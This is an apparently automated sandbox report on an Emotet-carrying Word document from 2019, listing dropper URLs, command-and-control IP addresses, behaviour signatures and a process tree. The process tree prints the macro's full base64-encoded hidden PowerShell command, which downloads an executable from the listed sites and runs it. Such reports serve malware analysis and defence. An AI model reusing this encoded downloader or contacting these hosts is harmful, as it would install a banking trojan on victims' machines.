Analysis

  • max time kernel
    25s
  • resource
    win10v191014
  • submitted
    20-12-2019 11:31

General

  • Target

    a461e68a56f148dd8229948f29e1afba3ec22bba86556917fde3b00e2c9d5f44

  • Sample

    191220-bd77nfpp22

  • SHA256

    a461e68a56f148dd8229948f29e1afba3ec22bba86556917fde3b00e2c9d5f44

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://www.trangiabds.com/wp-admin/88IHJgsuqF/

exe.dropper

https://kashifclothhouse.com/wp-admin/Pzv6563/

exe.dropper

https://hgklighting.com/wp-admin/V5i324/

exe.dropper

https://gloriapionproperties.com/wp-content/9k16/

exe.dropper

https://azatea.com/pytosj2jd/e5X381802/

Extracted

Family

emotet

C2

68.187.160.28:443

97.120.32.227:80

187.188.166.192:8080

144.217.117.207:8080

96.126.121.64:443

104.236.137.72:8080

85.234.143.94:8080

68.174.15.223:80

63.246.252.234:80

93.148.252.90:80

74.59.187.94:80

185.160.212.3:80

46.28.111.142:7080

183.99.239.141:80

68.129.203.162:443

144.139.56.105:80

191.183.21.190:80

81.157.234.90:8080

138.68.106.4:7080

203.130.0.69:80

rsa_pubkey.plain

Signatures

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Process spawned unexpected child process 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious behavior: EmotetMutantsSpam 1 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

  • Modifies system certificate store 2 TTPs 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a461e68a56f148dd8229948f29e1afba3ec22bba86556917fde3b00e2c9d5f44.doc" /o ""
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of FindShellTrayWindow
    PID:4800
  • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
    Powershell -w hidden -en JABLAHAAZQBoAHYAbgB1AGcAYwBpAHEAcAA9ACcASgBzAHYAcQBsAGIAYwB3AGoAYQBlAHoAdgAnADsAJABSAHEAbwB1AGEAYwBlAHAAIAA9ACAAJwA4ADcAOQAnADsAJABQAHUAeABuAG4AegB4AHcAcgB1AD0AJwBBAHAAbQBjAGgAbwBsAGgAJwA7ACQASgBvAGgAeABvAGMAZQBuAGkAZgBoAGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFIAcQBvAHUAYQBjAGUAcAArACcALgBlAHgAZQAnADsAJABFAHAAcwBuAGYAZQBkAHcAcwB4AGkAPQAnAFYAcgB2AG0AawB2AHkAegBxAHEAYgB3ACcAOwAkAEoAdwBoAGQAbAB4AG0AZgA9ACYAKAAnAG4AJwArACcAZQB3AC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBFAFQALgB3AEUAYgBjAEwAaQBlAG4AVAA7ACQAQQBkAHEAeAB5AHUAegBkAD0AJwBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgB0AHIAYQBuAGcAaQBhAGIAZABzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwA4ADgASQBIAEoAZwBzAHUAcQBGAC8AKgBoAHQAdABwAHMAOgAvAC8AawBhAHMAaABpAGYAYwBsAG8AdABoAGgAbwB1AHMAZQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AUAB6AHYANgA1ADYAMwAvACoAaAB0AHQAcABzADoALwAvAGgAZwBrAGwAaQBnAGgAdABpAG4AZwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AVgA1AGkAMwAyADQALwAqAGgAdAB0AHAAcwA6AC8ALwBnAGwAbwByAGkAYQBwAGkAbwBuAHAAcgBvAHAAZQByAHQAaQBlAHMALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwA5AGsAMQA2AC8AKgBoAHQAdABwAHMAOgAvAC8AYQB6AGEAdABlAGEALgBjAG8AbQAvAHAAeQB0AG8AcwBqADIAagBkAC8AZQA1AFgAMwA4ADEAOAAwADIALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAQgByAGgAbABxAGUAYwBxAGkAdgB6AD0AJwBUAHUAYwBuAHIAawB3AHEAawBtAGIAYQAnADsAZgBvAHIAZQBhAGMAaAAoACQASgB6AGgAYwB2AHEAagByAHkAIABpAG4AIAAkAEEAZABxAHgAeQB1AHoAZAApAHsAdAByAHkAewAkAEoAdwBoAGQAbAB4AG0AZgAuACIARABPAFcAbgBgAGwAbwBBAEQAYABGAEkAbABlACIAKAAkAEoAegBoAGMAdgBxAGoAcgB5ACwAIAAkAEoAbwBoAHgAbwBjAGUAbgBpAGYAaABjACkAOwAkAE8AbgB5AHEAcgBtAHAAYgBmAGwAPQAnAEwAcQBlAGoAYQBtAHIAYwBmAGUAbwBkACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAJwArACcAZQBtACcAKQAgACQASgBvAGgAeABvAGMAZQBuAGkAZgBoAGMAKQAuACIATABFAE4AYABHAHQASAAiACAALQBnAGUAIAAyADcAMwAyADgAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwBUAEEAYABSAHQAIgAoACQASgBvAGgAeABvAGMAZQBuAGkAZgBoAGMAKQA7ACQAWABxAGYAZgBsAGUAdgBvAGQAawBlAGkAaAA9ACcAUAByAGIAegB5AGcAbABiAG0AcABqAGoAJwA7AGIAcgBlAGEAawA7ACQAWgB1AGgAZgBwAHIAawB6AGYAYQA9ACcAQwBiAHoAdgBkAGoAeQBvAG8AeABjACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEAbQBwAHQAcQBiAHUAcwBlAGUAPQAnAEQAcwBsAGcAcABsAGEAbQBqAGQAagBjAHEAJwA=
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4208
    • C:\Users\Admin\879.exe
      "C:\Users\Admin\879.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4496
      • C:\Users\Admin\879.exe
        --c843c358
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EmotetMutantsSpam
        • Suspicious use of SetWindowsHookEx
        PID:4452

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/4452-13-0x0000000000640000-0x0000000000657000-memory.dmp

    Filesize

    92KB

  • memory/4452-14-0x0000000000400000-0x00000000004B3000-memory.dmp

    Filesize

    716KB

  • memory/4496-10-0x00000000022B0000-0x00000000022C7000-memory.dmp

    Filesize

    92KB